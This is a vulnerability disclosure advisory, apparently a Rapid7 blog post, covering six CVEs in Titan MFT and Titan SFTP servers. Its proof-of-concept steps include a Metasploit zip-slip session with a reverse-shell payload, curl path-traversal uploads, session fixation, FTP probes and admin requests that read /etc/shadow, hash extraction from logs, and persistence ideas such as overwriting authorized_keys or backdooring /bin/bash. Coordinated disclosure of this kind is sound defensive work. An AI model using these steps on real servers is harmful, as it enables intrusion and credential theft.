Last updated at Wed, 27 Dec 2023 14:37:41 GMT

As part of our continuing research project into managed file transfer risk, including JSCAPE MFT and Fortra Globalscape EFT Server, Rapid7 discovered several vulnerabilities in South River Technologies’ Titan MFT and Titan SFTP servers. Although these require unusual circumstances or non-default configurations, as well as a valid user login, the consequences of exploitation can lead to remote superuser access to the affected host.


Titan MFT and Titan SFTP are business-grade Managed File Transfer (MFT) servers that provide enterprise-class, high-availability failover and clustering. They are very similar products with a similar code base, although Titan MFT has some extra features such as WebDAV.

We confirmed that these issues affect Titan MFT and Titan SFTP versions and (earlier versions are also affected, per the vendor). All issues listed below affect the Linux version, and some additionally affect the Windows version (we will note which platforms are affected by which issues).


These issues were discovered by Ron Bowes of Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

South River Technologies is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.


Successful exploitation of several of these issues grants an attacker remote code execution as the root or SYSTEM user; however, all issues are post-authentication and require non-default configurations and are therefore unlikely to see widescale exploitation.


CVE-2023-45685: Authenticated Remote Code Execution via "zip slip"

Titan MFT and Titan SFTP have a feature where .zip files can be automatically extracted when they are uploaded over any supported protocol. Files within the .zip archive are not validated for path traversal characters; as a result, an authenticated attacker can upload a .zip file containing a filename such as ../../file, which will be extracted outside the user's home directory. This affects both Linux and Windows servers, but we will use Linux as an example of how this might be exploited.

If an attacker can write a file to anywhere on a Linux file system, they can leverage that to gain remote access to the target host in several different ways:

  • Overwrite /root/.ssh/authorized_keys with an attacker's SSH key, allowing them to log in to an interactive session
  • Upload a script to /etc/cron.hourly that will execute code at some point in the future
  • Upload a script to /etc/profile.d that will execute next time a user logs in to the Linux host
  • Overwrite a system binary (such as /bin/bash) with a backdoored version

This vulnerability is mitigated in two different ways:

  1. This is a non-default feature, so an administrator would have had to configure it before a server is vulnerable
  2. Exploitation requires a user to have an account with permission to upload files


A so-called "zip slip" is a common class of vulnerability, and an example file can be created using a Metasploit module (note that this is a generic module which writes an ELF file containing an executable payload):

msf6 > use exploit/multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/fileformat/zip_slip) > set FTYPE zip
FTYPE => zip

msf6 exploit(multi/fileformat/zip_slip) > set FILENAME

msf6 exploit(multi/fileformat/zip_slip) > show options

msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../root/testzipslip
TARGETPAYLOADPATH => ../../../../../../../root/testzipslip

msf6 exploit(multi/fileformat/zip_slip) > exploit

[+] stored at /home/ron/.msf4/local/
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../root/testzipslip

Then upload it with any protocol that the user has access to (HTTP, FTP, WebDAV, SFTP):

$ ncftp -u 'testuser' -p 'b'
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (
Connecting to                                                                                          
TitanMFT Ready.
Logging in...                                                                                                       
Welcome testuser from You are now logged in to the server.
Logged in to                                                                                             
ncftp / > put ~/.msf4/local/
/home/ron/.msf4/local/                        331.00 B    7.92 kB/s  

And verify that it extracts outside of the user's home directory:

$ ssh root@ ls /root

Note that the payload generated by Metasploit is an ELF file by default; however, using this technique, any file can be uploaded to any location on the file system.

CVE-2023-45686: Authenticated Remote Code Execution via WebDAV Path Traversal

The WebDAV handler does not validate the path specified by the user. That means that the user can write files outside of their home directory by adding ../ characters to the WebDAV URL. Successful exploitation permits an authenticated attacker to write an arbitrary file to anywhere on the file system, leading to remote code execution.

WebDAV is not enabled by default, so an administrator would have had to enable WebDAV for a target to be vulnerable. This also doesn't affect Titan SFTP, which doesn't support the WebDAV protocol; additionally, as far as we can tell, this only affects the Linux version of Titan MFT.


The curl utility with the PUT verb can be used to upload a file (note that --path-as-is is required, otherwise curl will normalize the path and remove the ../ portion of the URL):

$ curl -i -X PUT -u testuser:b --data-binary 'hi' --path-as-is
HTTP/1.1 201 Created
Set-Cookie: SRTSessionId=NV7pXyEHw9bdkofCLp3dI5wMq96N7iLD; Path=/; Expires=2023-Sep-25 10:09:14 GMT; HttpOnly
Connection: close
Server: SRT WebDAV Server
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Accept-Ranges: bytes
ETag: "8F434346648F6B96DF89DDA901C5176B10A6D83961DD3C1AC88B59B2DC327AA4"

We can verify the file is written from an SSH session:

$ ssh root@ ls /root/

CVE-2023-45687: Session Fixation on Remote Administration Server

When an administrator authenticates to the remote administration server's API using an Authorization header (HTTP basic or digest authentication) and sets a SRTSession header value to a value known by an attacker (including the literal string null), the session token is granted privileges that the attacker can use. For example, the following request would make the string "test" into a valid session token:

$ curl -u ron:myfakepassword -ik -H 'Srtsessionid: test' ''

We originally identified this as an authentication bypass, but later realized (from discussing it with the vendor) that the Srtsessionid value must match on the client and server, and the likelihood of getting an administrator to set an arbitrary header is exceedingly low. This affects both the Linux and Windows versions of the software, although the exploit path for Windows would be different than the Linux path we discuss below.

If an attacker can either steal a session token or trick an administrator into authorizing an arbitrary session token, the administrative access can be used to write an arbitrary file to the file system using the following steps (on Linux):

  • Create a new user with an arbitrary home folder (eg, /root/.ssh)
  • Log in to one of the file-upload services, such as FTP, using that account
  • Upload a file, such a authorized_keys

Since the service runs as root, this lets an attacker upload or download any file. We implemented a proof of concept that demonstrates how an attacker can achieve remote code execution on a target system by abusing administrator-level access.

CVE-2023-45688: Information Disclosure via Path Traversal on FTP

The SIZE command on FTP doesn't properly sanitize path traversal characters, which permits an authenticated user to get the size of any file on the file system. This requires an account that can log in via the FTP protocol, and appears to only affect the Linux versions of Titan MFT and Titan SFTP.


You can test this with the netcat utility:

$ nc 21
220 TitanMFT Ready.
USER test 
331 User name okay, need password.
230 Welcome test from You are now logged in to the server.
SIZE ../../../../../../../etc/shadow
213 1050
SIZE ../../../../../../../etc/hostname
213 7
SIZE ../../../../../../../etc/nosuchfile
550 No such file or directory

In that example, the attacker can determine that /etc/shadow is 1050 bytes, /etc/hostname is 7 bytes, and /etc/nosuchfile doesn't exist.

CVE-2023-45689: Information Disclosure via Path Traversal in Admin Interface

Using the MxUtilFileAction model, an administrator can retrieve and delete files from anywhere on the file system by using ../ sequences in their path. Both Linux and Windows servers are affected by this issue. Note that administrators have full access to the host's file system using other techniques, so this is a very minor issue.


Note: This requires a valid session id (in the example below, 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB):

$ curl -iks -H 'Content-Type: application/json' -H 'Srtsessionid: 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB' --data-binary '[{"Model":"MxUtilFileAction","ServerGUID":"db2112ad-0000-0000-0000-100000000001","Action":"l","Data":{"action":"d","fileList":["/var/southriver/srxserver/logs/Local Administration Server/../../../../../etc/shadow"],"domainLogs":true}}]' ''
HTTP/2 200 
content-type: application/x-msdownload
date: Tue, 19 Sep 2023 21:02:07 GMT
content-length: 1155
strict-transport-security: max-age=2592000
content-security-policy: base-uri 'self';
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: origin
content-disposition: attachment; filename=shadow; filename*=UTF-8''shadow


CVE-2023-45690: Information Leak via World-Readable Database + Logs

Password hashes appear in world-readable files, including databases and log files. Non-root accounts with access to the host can use those files to upgrade their privileges to root. Since shell access is required before this can be leveraged, this vulnerability is fairly minor, but we believe that local privilege escalation issues are still important to address.

You can use the strings utility to examine the database file as any user account (they can also be loaded in sqlite3):

ron@titan:~$ strings /var/southriver/srxserver/database/srxdbDB2112AD555500000000100000000001.db | grep -o '"PasswordHash":"[^"]*"'

You can also export logs with journalctl as any user:

ron@titan2:~$ journalctl -u titanmft.service  | grep 'stored hash'
Sep 26 22:28:36 titan2 srxserver[3526]: 2023-09-26 22:28:36 [Info/-/007] Validated incoming user against stored hash [7632AC9FECE0727899598E82E1601669F76D1D2AB75F33AE6A57D21060E22DB93E9D267155909E7EC5EECA20382A18D5D246A4CCAF64466D16974124BA0EC22F] and the result is True
Sep 26 22:34:02 titan2 srxserver[3526]: 2023-09-26 22:34:02 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:15 titan2 srxserver[3526]: 2023-09-26 22:34:15 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:48 titan2 srxserver[3526]: 2023-09-26 22:34:48 [Info/-/061] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True

Mitigation Guidance

According to South River Technologies, the issues in this disclosure can be remediated by applying vendor-supplied patches to upgrade to version 2.0.18 of Titan SFTP or Titan MFT. Additionally, these issues can be mitigated by configuring Titan SFTP or Titan MFT service to not run under the Local System account but to instead use a specific Windows or Linux user account that has limited privileges.


  • September, 2023 - Rapid7 discovers the vulnerabilities
  • September 28, 2023 - Rapid7 finds a security contact and reports the issues
  • September 28, 2023 - Vendor acknowledges our report
  • September 30, 2023 - Vendor let us know that the majority of the issues are resolved
  • October 11, 2023 - Discussed and agreed on a disclosure date of October 16, 2023
  • October 16, 2023 - This coordinated disclosure (including this blog and all vendor artifacts)